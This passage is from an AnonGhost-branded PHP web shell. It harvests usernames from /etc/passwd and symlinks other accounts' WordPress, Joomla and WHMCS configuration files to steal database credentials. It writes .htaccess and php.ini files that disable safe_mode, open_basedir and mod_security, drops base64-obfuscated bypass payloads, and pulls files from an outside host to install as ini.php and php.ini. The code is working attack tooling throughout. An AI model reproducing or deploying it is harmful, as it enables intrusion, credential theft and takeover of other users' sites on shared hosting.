  764.             $configuration=array("wp-config.ini","wordpress/wp-config.ini","configuration.ini","blog/wp-config.ini","joomla/configuration.ini","vb/includes/config.ini","includes/config.ini","conf_global.ini","inc/config.ini","config.ini","Settings.ini","sites/default/settings.ini","whm/configuration.ini","whmcs/configuration.ini","support/configuration.ini","whmc/WHM/configuration.ini","whm/WHMCS/configuration.ini","whm/whmcs/configuration.ini","support/configuration.ini","clients/configuration.ini","client/configuration.ini","clientes/configuration.ini","cliente/configuration.ini","clientsupport/configuration.ini","billing/configuration.ini","admin/config.ini");
  765.                     foreach($usr as $uss )
  766.                     {
  767.                             $us=trim($uss);
  768.                                                    
  769.                             foreach($configuration as $c)
  770.                             {
  771.                              $rs="/home/".$us."/public_html/".$c;
  772.                              $rs="/home1/".$us."/public_html/".$c;
  773.                              $rs="/home2/".$us."/public_html/".$c;
  774.                              $rs="/home3/".$us."/public_html/".$c;
  775.                              $rs="/home4/".$us."/public_html/".$c;
  776.                              $rs="/home5/".$us."/public_html/".$c;
  777.                              $rs="/home6/".$us."/public_html/".$c;
  778.                              $rs="/home7/".$us."/public_html/".$c;
  779.                              $rs="/home8/".$us."/public_html/".$c;
  780.                          $r="bluehost/".$us." .. ".$c;
  781.                              symlink($rs,$r);
  782.                            
  783.                     }
  784.                            
  785.                             }
  786.                     }
  787.                    
  788.                     }
  789.     elseif(isset($_GET['whme']))
  790.     {echo $bencong."<center><p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>WHMCS Symlink Priv8 By Mauritania Attacker</b></p>";
  791.     ?>
  792.     <center><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"></center><br><br>
  793.      
  794.      
  795.     <center>
  796.     <form method=post><font color=#58FAF4 size=2 face="Courier New">Get users (etc/passwd) To symlink WHMCS Configs</font><p>
  797.             <input type=submit name="whme" value="Extract usernames" /></form></center>
  798.             <?php
  799.             if(isset($_POST['whme'])){
  800.                     ?><form method=post>
  801.             <textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
  802.     foreach($users as $user)
  803.     {
  804.     $str=explode(":",$user);
  805.     echo $str[0]."\n";
  806.     }
  807.      
  808.     ?></textarea><br><br>
  809.             <input type=submit name=su value="Symlink WHMCS" /></form>
  810.             <?php } ?>
  811.             <?php
  812.             error_reporting(0);
  813.             echo "<font color=#58FAF4 size=2 face=\"Courier New\">";;
  814.             if(isset($_POST['su']))
  815.             {
  816.             mkdir('whmcs',0755);
  817.     $rr  = " Options FollowSymLinks MultiViews Indexes ExecCGI \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl";
  818.     $g = fopen('whmcs/.htaccess','w');
  819.     fwrite($g,$rr);
  820.     $whmcs = symlink("/","whmcs/root");
  821.                         $rt="<a href=whmcs/root><font color=#ff0000 size=2 face=\"Courier New\"> Whmcs Configs Bypassed Successfully</font></a><br>";
  822.             echo "<br>Check link given below for / folder symlink <br><b>$rt</b><br>";
  823.                    
  824.     mkdir('whmcs',0755);
  825.     $rr  = " Safe_mode = OFF \n Disable_functions = NONE \n Open_basedir = OFF ";
  826.     $g = fopen('whmcs/php.ini','w');              
  827.     fwrite($g,$rr);
  828.     $whmcs = symlink("/","whmcs/root");            
  829.      
  830.                     fwrite($f,$r);
  831.             $consym="<a href=whmcs/><font color=#ff0000 size=2 face=\"Courier New\">configuration files</font></a>";
  832.             echo "<br>The link given below is for Whmcs configs path symlink, If Any Errors Appears just try bypass with anonther .htaccess file <br><b><font color=#00FF00 size=2 face=\"comic sans ms\">$consym</font></b>";
  833.                            
  834.                             $usr=explode("\n",$_POST['user']);
  835.             $configuration=array("member/configuration.txt","members/configuration.txt","configuration.txt","billing/configuration.txt","billings/configuration.txt","includes/dbconfig.txt","includes/config.txt","whmcs/configuration.txt","whmc/configuration.txt","support/configuration.txt","whm/configuration.txt","whmcs/configuration.txt","support/configuration.txt","whmc/WHM/configuration.txt","whm/WHMCS/configuration.txt","whm/WHMCS/config.txt","whm/whmcs/configuration.txt","whm/config.txt","clients/configuration.txt","client/configuration.txt","whmcs/config.txt","clientes/configuration.txt","cliente/configuration.txt","clientsupport/configuration.txt","supports/configuration.txt");
  836.                     foreach($usr as $uss )
  837.                     {
  838.                             $us=trim($uss);
  839.                                                    
  840.                             foreach($configuration as $c)
  841.                             {
  842.                              $rs="/home/".$us."/public_html/".$c;
  843.                            
  844.                              
  845.                               $r="whmcs/".$us." .. ".$c;
  846.                              symlink($rs,$r);
  847.                            
  848.                     }
  849.                            
  850.                             }
  851.                    
  852.                    
  853.                     }}
  854.      
  855.     elseif(isset($_GET['apngi'])) {  
  856.      $apngi = 'PD9waHAgLy8tLSByZWNvZGVjIGJ5IEFub25HaG9zdCAtLS8vIA0KcHJlZ19yZXBsYWNlKCIvLiovZSIsIlx4NjVceDc2XHg2MVx4NkNceDI4XHg2N1x4N0FceDY5XHg2RVx4NjZceDZDXHg2MVx4NzRceDY1XHgyOFx4NjJceDYxXHg3M1x4NjVceDM2XHgzNFx4NUZceDY0XHg2NVx4NjNceDZGXHg2NFx4NjVceDI4J2xadkxydVM0RVVUM0J2d1BqY1lzN00yZ0pMNnFNUENmYUtONnJidzIrdk5kREo1ZzhsNGJBOHlpMExkVWtraG1Sa1pHSnRtLy9YcThIODhmUDM3LzE0K2Z4NjkyK1h6MjQxY3RuMDg3ZnBWM2ZPKy8xY2ZuczMwK2FWemJyNS9QNS9mOWM5LysrbnpPOGJkKzY5Y2Y0OS95K2JkOTdrMzE4eW5MOXphdWZmbDkrL285cCtYNzUxM3ArdTMrOXZWOStkdno2ZmJ0ZmVYYjcvVlB4dnMrbno3Zi9DZnIrWC96Kzc3KzcrLzdQdDc2dnZSdGZ1bmIrSjk3ODNmNy9kbjg2ditPOTVlZVozMzdaOTd0NCt2eStiMStydVhQdGZ4NXJ2VjNYd2RHU3YvdTlmZmYzMlBzanFIdW8rNkhmazNmUDlpcE42N2hrd3lPNm4zNE1IM3dWeGl6Yk10dlpkemY1OUZ0Mi9GWEx2emU1L0NaYTMyTmY4dHRQSnZBZDdzeHQ4Y1lvMk05MzJPc3ZvNmQ4ZnRhOU00eXh1bjM5bkgwMnpuZW9kL1RlS1pmNjMrM1RIemNpYW5Mc0dHL0xuLzI4ZmN4bDNiR3ZjTHREWHUveC9yNkd2bzQvYnZlY1J0enpPZFlvM3hYK1QwelZtV01zc1R4aTdYWE1WWitqbi9senhmMjMvbXREUC8yOXpYczI5ZlY1NjQxM3NOSDRvZUtQNWxIOTZQOHhUdzZMdnAzWTBOMjYrODh4eGlWT1dsOWUxeTNIZlRPL3R5TmRlSVhQYk54MzMwWkk4VjhTb0VqY256WCt6ZmlFcXpJYm1WOEY1NkpnLzZzNTFTTXU1UHgrdnFmK0F6YmRoLzNqK3pWd0VvZVdPOXp6dUJQMTl1d2RRTnJmUjM5M1hPdGR6RFVzVlhDSnBwUEd0ZktQdWFjNGVlTzR3cU85SzQ2ZnUvamRiL2t4WCtLZ3hmeGVuSmZZMjBuZnUyK1RDTitOZTQ3TUZ5dnczWWRTOExYemx5SnUvN3ViRnllQTRlSzAvdDRUMkd1NHBNeXNDWnNZOWZkNjRhRGRiMk5hOExRYlhEVTVCeHMzMjBpZjVDL3pFZDlQUnBqaDJ1dVkwNjVqVTh4OTZaaEorRWVUdXNmOGRCbGpDTk1iandIN2lzMjY3YW94S2Z3Q2o3NjM0MTcrenU2M1RUV0Uxd1VjQWNuWjN5U1cxd3p2OWpmbVh5ZGVWL240MjRUeDJmL3J2VytpRzN3MWNDZ2N1Y0pic0N2Y0hFUFhoVE95dkJaQmtjSjNpeHdVdjllc1VVeTc1N010V0NyNTRoUmpRa0hpajladS9BREo0dkQzekdYQnRmM01hcjV0NHgzRk9KYm1DUVd0SjZOR0V2TTd3a0hNNWJ3ZmgzMjdiOVYzcC9oaEQ1UDVTcndwdmZmbHB6U1ltNTlQdDJtZlIzZDFsb244Ky8yMDNxY084bVZHWTdlaVJuWllpTnU3MkExQmZibDV5ZXhpQi83T29VcjNpOE93cDRaWHBhKzRhTjFuc3c1Z1MzN0tJMDVpY091WUQ5eHY3VUEvQ0FjZ0N0eE9ibElzZjBjOTRrL25HK2Y1UG5Hdk1pZGZkNEpPL2YzTk40clgyRmYvZjVDeDRHbGRJdjhwUmpPNHgxOW5obHVyZVFValdNZFdPR0VDaWM4MEZUYjRBM1pmb01MOW1FVHJSMmVrUCtabDlaZDhUMjQwTFBiNEltTTdicFByUyswL2h1NTFUd0VyM1picDF2NFh4eVQ0VUJ5cmRZSkJ3dFhWM0pRd1o5b3BJcXVGWjd4WDk2Q2oyd3JjWlBqY1J0cmxsM0w4Tm5VdjhaVnduZXY0RDNqVzJ0K0x1dDRIcUgxbmhFWGZhekpPV2s4TjdUU3p6LysvcmZmZmowZnBibys2ZXZ0OWxZc09GK1p4Ky9FeTMxZ0lMWGdUUE56bjV2bW1zZXo0akx6Q0R3cHY3OTQvem5lTGJ3OGVRNmRhaDFaOXRCQnlldEdPeGhiMGdsYjJDSTdOblpzZTVMSDBBL0ZhMHJNNlliK3lHQS9NNzk3Y0hReEI4QmxpZ1B1YmRoQk9RSzdTQXZjSXIvcjl3UnU4V3UyUnJ1UDhmcGMrL3JNeDRvYmRHNngvcy9qV2YyYjBhajMwRFROZXBLL0UvbEh0V2RlZUFJYkZHdldGaGpNNkg2TmN4MTJiUGhYZkFUM2RVeVp6M1NkOTR1YjRmV0U5cFkyM2NudjFHWEtvOWl5cjFINWxUeVMwRklWKzFaemZTTy9FT2ZTQ25DenNKL0lOOWJ0aGZsYkcrOW9vd3hYYmNlc2phcjEyaGFheUxwTzg4ZWZsV2NTdUtuVzNCZHk3dzdYcDhVWDFEcXJUWm8xczNYckd5NUhkenBIbUZmTXI0cFQ3aS9VbURVRnY0b0w5bU5xeHJMVWZOSjE3OUNmTlFjZU5aZUNacTVoODdhc1J4eFZ3c2Z5bDdrWWZXak5hVjBtVEtESHErdWVCL1k2RnkxcHZiRkZ2VkhRcS9VUmE5WjRWM2pVZml0b1BialRkYzcweVJYNzNvS2JLMXBhL0dTdEMwNnljVU1kMjZ4cnFKSDZHck54Y0NIUGtKZWE2NDBWQytnWWNURzZyb0JWNXhIeFFEdG12WnJKdHhxRGV0RDV3WG9tdjVjY2FidzVwbDA3cFpoYlgxdXk1bHB5bVd3QkJ6YlhiTXQ3N2R0RVRXSGVrYVlqL3pWc2IwMlgwUGJGV0VGenUrNW80RWxqdi9GMURYMGgrMU5uVjl2RE1ReE8zQXVSVGlZK0VyNlM3eC9oaTRJK3FwNTdqcHhvZldHOVc2bFBLdjBXYWFyRTd3djNxdDl6a252dlIvUmEwckNCTlozck1uTjZkcTF3anp5VFhRODhodzBMdUN6b3VHWnNMWFoyanBRR3dPYkZtbjBIUzlSa21odnhZdnRMYjU1TG5CbEhEL0lZK2t4NW01Z1M3MjlMUGlHM3pibVNDMVRQcDNGTk5uSWRTcnk2SHlRc29pOHo2eEJtRWo2eG5rRER1YVlxMUVMQ3RIVUdHckhBdWJMeE9lYmhYQ3g5ZUJ0cjNORnZ4b0JpM0ZxY2VRc1BlMmpOUkYrcVloZGpTcHJ3VG56ZnlPbk9iZWlKNHBvRGZaeko4NGxZTms5bDE5QVpqS2ZRajQxYXl2VlNzdjcxYjJBcEU5TUZIUzA5M29LSFM0cTRxdWp5V1JPUlkyY1A2cnBvVGZDcVBPcGFsQnBadkVBOTdmcWxMYkd1T1dFWDI4WjlKYTJmR3E5ZXcrYloyRUg3MUJxeHBMaGxuZ1grS3ZpNnZoZU9KbWRLYTRJMTJXbUx1QzNZMmpXcmF6NzNkZDJieTl5bmVMdkV1bDN6Qy9ldXRjN0lEOFpoWS8wemw5cW02Wmc5VmZjeGkzdVlKMWh3RFExM1ZmS3ZlY3o5cDByUFpyNm5NamRxTVdrbi9xM2tFdGRNMGpQMGdxd1haQ2ZyemVzeGUzcnlBYldtYlpPdlMrL1E5Wk56aW5zTzUvaDNhcWlHYjVxMStLaFAzdWY1WHZkUGpHZjNmZFNuYzN6Qm5ZWCt4RnA3WkRTUjV5MGNKZlJMUG1hZkljTWZ3bUVKWGhHZm9GVTlYbVU5c3ovcC9nV2NaNjJtMkx3R1AyVnF5M3lQbkRUNTNsekd2OExmVGw2N0RUdkxsOFpmQ3Qyd28rOGFmR25NWjdTdXRBRXhxTnB5SjEvUTA1VXQ0ZTFDWDBPNUZpd2sxMzN2d0h1aGQ1SE5nNVY1b2VGS1htTE5OVFg2Vm42ZzFrendVQ0VIVzA5NnIyenFOM2paT2w5eDhDUlhVUitiMTZyN1ZPZ3g5KzZjVzRSSjE1ZU1JUzBNWDJoTmFJRmNGeCs5dWYvTnVPYnlWK0M0R1NOZ1F0cVVIcXIzZFdTWGpUV1o1OUdMczY1aFRQR28rUm03NVhmc1JTaUczb0hqZG92OHF4NFJXa2oza2dlY2Y1cDFQR3ZMNUMvWHlPNFRhUzQ3M01JY3JaRmM0MXBqdUs2Y09kYWFueDVoaFZPMWx0ZXdsZnhKM3lLakZRc3hLTnlRczRWNTZwRkdQTGxlTXc5WlcxdTdxRzl5a3ZkZGF5VHd4N2l6aG4yUUEwL2lsQnlZZUcvaUh0dGY4MzZPWndvWXkvU1dHbjdLMU82eWs2K2hrNzN2bTl3SE5FODZQNXpCb1RNbkozQkVucXpnT05GVGRUL2RQZUxaSzRRREN2bFMrdWdSK1VjYW5UaVdEYTI5eUdIT244bzliL3l6dzlrbGNGRGh3V3BOL0VJekxKckh2Uk54QnIyR1pQMzdKdmFmMkI3T3pzNlQ5aFY0THZEc2x6NmZhL2hsLzhSNXA3VFE3NVd4WnYzSVdsM2ZLSi9Ranl2bW1RYWV6QTJ2WTlhbXM3YW5ueVJNbjR1K1F0ZTREOWFzemZiUVJJVjN6QnhMZmVtZXZPdDI5OGxjSDdqZlU4ZzEzbThTcG9qZFltMVR3U2U5QUdtK05MaENmYWd0MWo1N2V6VjArOVN5L04ySUozTk1Xdnc1ZTAzRWdjWTFMN3YvUWo3Mm50ejA1UXZza2hPc1Zacno0RnB2N010YTNDK2gxbXJnV1h0TExmQTNlODVvdFhTSnZkbEdUNis2ZjczcXZocFluWG1GL3JqckhlbU9XOWl0V1FlZ2w2MjVwTzJZZTBPVEZuU1dlSG9QamplL1ptSkN6NXBYNGFIcTJ2QWFuSmJvWDN0Znkvc2cxamJKK0Vsb0xmT1Y0OWExZU1aZTlmaTZEK3c4OUFvL05YeGE0ZDRHYjAwL3VDWjNiOEQ5bEdYOTRvdEw1SFg5ZGpsbXYyckdPWG12V0VkaU81OWhLR2dkeFNwcmNROWVZNElaNGU1RmZnQUh4cUZyM3VvNjVSVzUybHJaOVZJMWw3cW12S0F4M09QaFBhb3J5YitGV2tyeFpvM3Zlczg0WFBxVkNYNVdyR003NXlISFM4cWhqYnhuYnEyZG1YOTJqOGxZWXk4eU8wOWJ4MWJpWlR1bXZ2VityWE5EZ212Y0wrdno5ZDVGWGZLMzVtWU5ZTDUwVEtCWDh5dDBvbUtLM2tpanY1TEJzakM1bzhQTjdhNnJkK0x3Z1o5TDVNUk1yM1B1STk3aFNPeVk2Uy9NUFdqNkRvMzZaTHZXV1ora1MzQ1Z0WS9QeWV6a1FlODFtOVBWbHoreDVibmtqeE5kUkMyWno4QlpoYWZuMllSMnpQMEV4ZXRKVG5xU003eCs5S3J6bk9LRk9uK2UwOEd2UG8rVHdhRDNOTzJ6MlhkeTdVWWRKWjRtVDg1Y2RHSTM4R1l1bXpFRHQvcE1RQ0pINkpwMTZ1T1krd2dKREl1WHJPM3NPMm9tbjV0eXZ6RTVIdUFvOTV4OTVrZ2NEMGU1ZHAzNzJ1ZWlyY2gzM3R0M1RFeE96c2M4WnlKZmNPWXYweWQxRDJYVzEraEsyZjIyM0VlY094K1lINlE3bVVObERkNTc4NWgrcGxHVEt1K3l2bVE5VGQxZ3JTWjh2OGhuem90Z1MxeTdSZjd4ZGUvamF1N3Z3Ri9Pa1dlbXhseDhMbTFKenAxN29OZEZqMjM0TTBXT1NLNkg0Y2FaeTl3UGRTM28rbWcvNXRrajd6TjVuOWU4bXB6Zlg5anNQR2E5NXA2YiswN21YTmZOazZzeTkxbkhFTVBpcWVjUmU0MnVrK25sVnRhVnpjblcxdkNEbmp1UE9NZEIvNzJnVjN6ZWErcmxObXp0T3Q1N2FmTU15eE9iTko1L1JCNFRCbmQwSG4wVDg3VXgzY2pKeWxkbmpPbCt3OXdqY2gva1BMNmN4WkkvcWRObHV4UC91amRaZ3ArYWVZbDZSenhLRDB4emhzdUU1UlIrY00zb251YlVwT2lIOVN6SWwxeUJIVlhIN3NUQ2ZUbm5kb2E5cG4vUU8rS3c3V3N1bmJwZ1A2WXVGNmVBYS9mTUc3bkk0M29mMVgzQmpKMjhYK005cXNJNmludU1qMk9lazZ6MzZCVklGOEREUHNjNDh3bDZQS09Mc3ZXNDlUSWFvb0pseDNVR0k5N2JxcXdyZ1ZIM2NtZXZIQXpNTTU2dlkrNW5DQ2YwZmhTWGFQbUV4bk45SUcxWHdDbTJNTzhWY3FMUGFjMnpRK2lGekJybW1TWDNScytGdCtqVlpEZ2drNE9sTXh2OHRmWkx5Qm4ycjgrVnVTOWR3ZmpjNDd3Zjg2eXljcTkxK25iTXMwL2V1L0tabVhsK0VPeGFtODIreXlYT3Rvbno2VnRWYWx1ZnQ1RE9TTVQxZGZ5ZHlSTU5IZTd6dmNWOVpHS2lvUVdTZS8vVVdONHJ5ZVpTZEpnMWlmdGRQdHVxT0tjM2JlMnhVeHQ5T1VOeFczQm9Ic2Z2N3MwWDhEdjdGTzJZK3crem4zazdZaC91aER2ZXg5eGoxOXFwQ2FiK1lCMEpmaW53alRHODN5TnZGSFIrODU0Uk1WMTh2dkVkZm11T0J6aGYyS1pub0wwak1EUmp2c1paWnR2Y2ZRN3BWdXFQWk8zeVJtZlZwZDdCbjg1eGlkcFN1Q1QyTXZsVmNaR09PSWZ5NFA0bnZPSCtodU9UR0o1N2wvanJPeWY3VE9zOGEwN2VkeDBxcnNSVzNyOTAzMHErb3QvYnlCOEpuYXc4UVE1cStOWTlPWjlGcitSODhlMGxOR0ppRHMzN1FmQjBJZ2NsNTl6N3dFNkJDd3AxaTlaRTNWcHQvMWVjRnkvWCtMdFNveVowZFQvVC8rV2MvKzB2ZkFmYjYvLzUwS2V2NC83emo5ZC96bi8vNDdmeFgwMSsvOEdacnY2SE5rLzZINzFLK2VjZi93VT0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
  857.      $file = fopen("apngi.php" ,"w+");
  858.     $write = fwrite ($file ,base64_decode($apngi));
  859.     fclose($file);
  860.         chmod("apngi.php",0755);
  861.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Bypass LiteSpeed - Apache - Nginx</b></p><iframe src=apngi.php width=80% height=70% frameborder=0></iframe>"; }
  862.                        
  863.     elseif(isset($_GET['obd'])) {  
  864.      
  865.         mkdir('agobd', 0755);
  866.         chdir('agobd');
  867.            
  868.     $agobd = 'PGhlYWQ+IDx0aXRsZT5PcGVuIEJhc2VfRGlyIEJ5cGFzczwvdGl0bGU+PC9oZWFkPjxsaW5rIHJlbD0iU0hPUlRDVVQgSUNPTiJocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vbC9tL2xtYTk5MmRyNDEuaWNvIj48c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJhbnQ7CW1hcmdpbi1sZWZ0OiAwcHg7IG1hcmdpbi10b3A6IDBweDsgdGV4dC1hbGlnbjogY2VudGVyOyBiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0LXg7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojNThGQUY0O2ZvbnQtd2VpZ2h0OjQwMDt9DQphe3RleHQtZGVjb3JhdGlvbjpub25lO30gYTpsaW5rIHtjb2xvcjojNThGQUY0O30gYTp2aXNpdGVkIHtjb2xvcjojMDA4MDgwO30gYTpob3Zlcntjb2xvcjojZmYwMDAwO30gYTphY3RpdmUge2NvbG9yOiMwMGEyYTI7fSAtLT48IS0tIE1hZGUgQnkgVmlydXNhIFdvcm0gLS0+PC9zdHlsZT48YnI+PGJyPjxib2R5Pg0KPHRyPjx0ZD5PcGVuIEJhc2VfRGlyIEJ5cGFzcyBQSFAgNS4yLjk8L3RkPjxicj48YnI+IDx0ZD4gPD9waHAgaWYoIWVtcHR5KCRfR0VUWydmaWxlJ10pKSAkZmlsZT0kX0dFVFsnZmlsZSddOyBlbHNlIGlmKCFlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpICRmaWxlPSRfUE9TVFsnZmlsZSddOyBlY2hvICcgPGZvcm0gbmFtZT0iZm9ybSIgYWN0aW9uPSJodHRwOi8vJy4kX1NFUlZFUlsiSFRUUF9IT1NUIl0uaHRtbHNwZWNpYWxjaGFycygkX1NFUlZFUlsiU0NSSVBUX04gQU1FIl0pLiRfU0VSVkVSWyJQSFBfU0VMRiJdLiciIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHNpemU9IjYwIiB2YWx1ZT0iL2V0Yy9wYXNzd2QiPiAtIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImhhcmRzdHlsZXoiIHZhbHVlPSJTaG93Ij48L2Zvcm0+JzsgaWYoJF9QT1NUWydoYXJkc3R5bGV6J10pIHsgJGxldmVsPTA7IGlmKCFmaWxlX2V4aXN0cygiZmlsZToiKSkgbWtkaXIoImZpbGU6Iik7IGNoZGlyKCJmaWxlOiIpOyAkbGV2ZWwrKzsgJGhhcmRzdHlsZSA9IGV4cGxvZGUoIi8iLCAkZmlsZSk7IGZvcigkYT0wOyRhPGNvdW50KCRoYXJkc3R5bGUpOyRhKyspeyBpZighZW1wdHkoJGhhcmRzdHlsZVskYV0pKXsgaWYoIWZpbGVfZXhpc3RzKCRoYXJkc3R5bGVbJGFdKSkgbWtkaXIoJGhhcmRzdHlsZVskYV0pOyBjaGRpcigkaGFyZHN0eWxlWyRhXSk7ICRsZXZlbCsrOyB9IH0gd2hpbGUoJGxldmVsLS0pIGNoZGlyKCIuLiIpOyAkY2ggPSBjdXJsX2luaXQoKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgImZpbGU6ZmlsZTovLy8iLiRmaWxlKTsgZWNobyAnPEZPTlQgQ09MT1I9IlJFRCI+IDx0ZXh0YXJlYSByb3dzPSIxMCIgY29scz0iMTIwIj4nOyBpZihGQUxTRT09Y3VybF9leGVjKCRjaCkpIGRpZSgnPlNvcnJ5Li4uIEZpbGUgJy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4nIGRvZXNudCBleGlzdHMgb3IgeW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucy4nKTsgZWNobyAnIDwvdGV4dGFyZWE+IDwvRk9OVD4nOyBjdXJsX2Nsb3NlKCRjaCk7IH0gPz4gPC90ZD48L3RyPiA8dHI+PHRkPk9wZW4gQmFzZV9EaXIgQnlwYXNzIFBIUCA1LjIuMTIgYW5kIFBIUCA1LjMuMTwvdGQ+PGJyPjxicj4gPHRkPiA8P3BocCAkZmFrZWRpcj0iZ2hvc3QiOyAkZmFrZWRlcD0xNjsgJG51bT0wOyBpZighZW1wdHkoJF9HRVRbJ2ZpbGUnXSkpICRmaWxlPSRfR0VUWydmaWxlJ107IGVsc2UgaWYoIWVtcHR5KCRfUE9TVFsnZmlsZSddKSkgJGZpbGU9JF9QT1NUWydmaWxlJ107IGVsc2UgJGZpbGU9IiI7IGVjaG8gJyA8Zm9ybSBuYW1lPSJmb3JtIiBhY3Rpb249Imh0dHA6Ly8nLiRfU0VSVkVSWyJIVFRQX0hPU1QiXS5odG1sc3BlY2lhbGNoYXJzKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4nIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ii9ldGMvcGFzc3dkIj4gLSA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJoeW0iIHZhbHVlPSJDcmVhdGUgU3ltbGluayI+PC9mb3JtPic7IGlmKGVtcHR5KCRmaWxlKSkgZXhpdDsgaWYoIWlzX3dyaXRhYmxlKCIuIikpIGRpZSgibm90IHdyaXRhYmxlIGRpcmVjdG9yeSIpOyAkbGV2ZWw9MDsgZm9yKCRhcz0wOyRhczwkZmFrZWRlcDskYXMrKyl7IGlmKCFmaWxlX2V4aXN0cygkZmFrZWRpcikpIG1rZGlyKCRmYWtlZGlyKTsgY2hkaXIoJGZha2VkaXIpOyB9IHdoaWxlKDE8JGFzLS0pIGNoZGlyKCIuLiIpOyAkaGFyZHN0eWxlID0gZXhwbG9kZSgiLyIsICRmaWxlKTsgZm9yKCRhPTA7JGE8Y291bnQoJGhhcmRzdHlsZSk7JGErKyl7IGlmKCFlbXB0eSgkaGFyZHN0eWxlWyRhXSkpeyBpZighZmlsZV9leGlzdHMoJGhhcmRzdHlsZVskYV0pKSBta2RpcigkaGFyZHN0eWxlWyRhXSk7IGNoZGlyKCRoYXJkc3R5bGVbJGFdKTsgJGFzKys7IH0gfSAkYXMrKzsgd2hpbGUoJGFzLS0pIGNoZGlyKCIuLiIpOyBAcm1kaXIoImZha2VzeW1saW5rIik7IEB1bmxpbmsoImZha2VzeW1saW5rIik7IEBzeW1saW5rKHN0cl9yZXBlYXQoJGZha2VkaXIuIi8iLCRmYWtlZGVwKSwiZmFrZXN5bWxpbmsiKTsgd2hpbGUoMSkgaWYodHJ1ZT09KEBzeW1saW5rKCJmYWtlc3ltbGluay8iLnN0cl9yZXBlYXQoIi4uLyIsJGZha2VkZXAtMSkuJGZpbGUsICJzeW1saW5rIi4kbnVtKSkpIGJyZWFrOyBlbHNlICRudW0rKzsgQHVubGluaygiZmFrZXN5bWxpbmsiKTsgbWtkaXIoImZha2VzeW1saW5rIik7IGRpZSgnPEZPTlQgQ09MT1I9IlJFRCI+Y2hlY2sgc3ltbGluayA8YSBocmVmPSIuL3N5bWxpbmsnLiRudW0uJyI+c3ltbGluaycuJG51bS4nPC9hPiBmaWxlPC9GT05UPicpOyA/PiA8L3RkPjwvdHI+PC9ib2R5PjwvaHRtbD4=';
  869.      
  870.     $file = fopen("agobd.php" ,"w+");
  871.     $write = fwrite ($file ,base64_decode($agobd));
  872.     fclose($file);
  873.         chmod("agobd.php",0755);
  874.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Open Base_Dir Bypass</b></p><iframe src=agobd/agobd.php width=70% height=60% frameborder=0></iframe>"; }
  875.        
  876.        
  877.     elseif(isset($_GET['agbfu'])){echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Bypass Functions</b></p>";
  878.      
  879.     echo '<center><form method=post><br><br>
  880.                 <input type=submit name=su value="Bypass" /></form></center>';
  881.              
  882.                 error_reporting(0);
  883.                
  884.                 if(isset($_POST['su']))
  885.                 {
  886.                 mkdir('agbfun',0755);
  887.         $rr  = "<IfModule mod_security.c>
  888.     SecFilterEngine Off
  889.     SecFilterScanPOST Off
  890.     SecFilterCheckURLEncoding Off
  891.     SecFilterCheckUnicodeEncoding Off
  892.     </IfModule> ";
  893.         $g = fopen('agbfun/.htaccess','w');
  894.         fwrite($g,$rr);
  895.      
  896.         $agbfun = symlink("/","agbfun/");            
  897.         mkdir('agbfun',0755);
  898.         $file = file_get_contents('http://www.ppteo.es/wp-content/languages/es_ES_i.txt');
  899.         $g = fopen('agbfun/ini.php', 'w');
  900.         fwrite($g,$file);
  901.         fclose($g);
  902.             $agbfun = symlink("/","agbfun/");
  903.             mkdir('agbfun',0755);
  904.         $file = file_get_contents('http://www.ppteo.es/wp-content/languages/es_ES_p.txt');
  905.         $g = fopen('agbfun/php.ini', 'w');
  906.         fwrite($g,$file);
  907.         fclose($g);
  908.             echo "<br><br><a href=agbfun/ target='_blank'><font color=red size=2 face=\"Courier New\">Bypassed Functions Successfully</font></a></center>";
  909.     }   }
  910.      
  911.     elseif(isset($_GET['modse'])){echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Bypass Mode Security</b></p>";
  912.      
  913.     echo '<center><form method=post><br><br>
  914.                 <input type=submit name=agm value="Bypass" /></form></center>';
  915.              
  916.                 error_reporting(0);
  917.                
  918.                 if(isset($_POST['agm']))
  919.                 {
  920.                 mkdir('agmodse',0755);
  921.         $rr  = "<IfModule mod_security.c>
  922.     SecFilterEngine Off
  923.     SecFilterScanPOST Off
  924.     SecFilterCheckURLEncoding Off
  925.     SecFilterCheckUnicodeEncoding Off
  926.     </IfModule> ";
  927.         $g = fopen('agmodse/.htaccess','w');
  928.         fwrite($g,$rr);
  929.             echo "<br><br><font color=red size=2 face=\"Courier New\">Mode Security Bypassed</font></center>";
  930.     }  }
  931.      
  932.     elseif(isset($_GET['agsm'])){
  933.         mkdir('agsm', 0755);
  934.         chdir('agsm');
  935.            
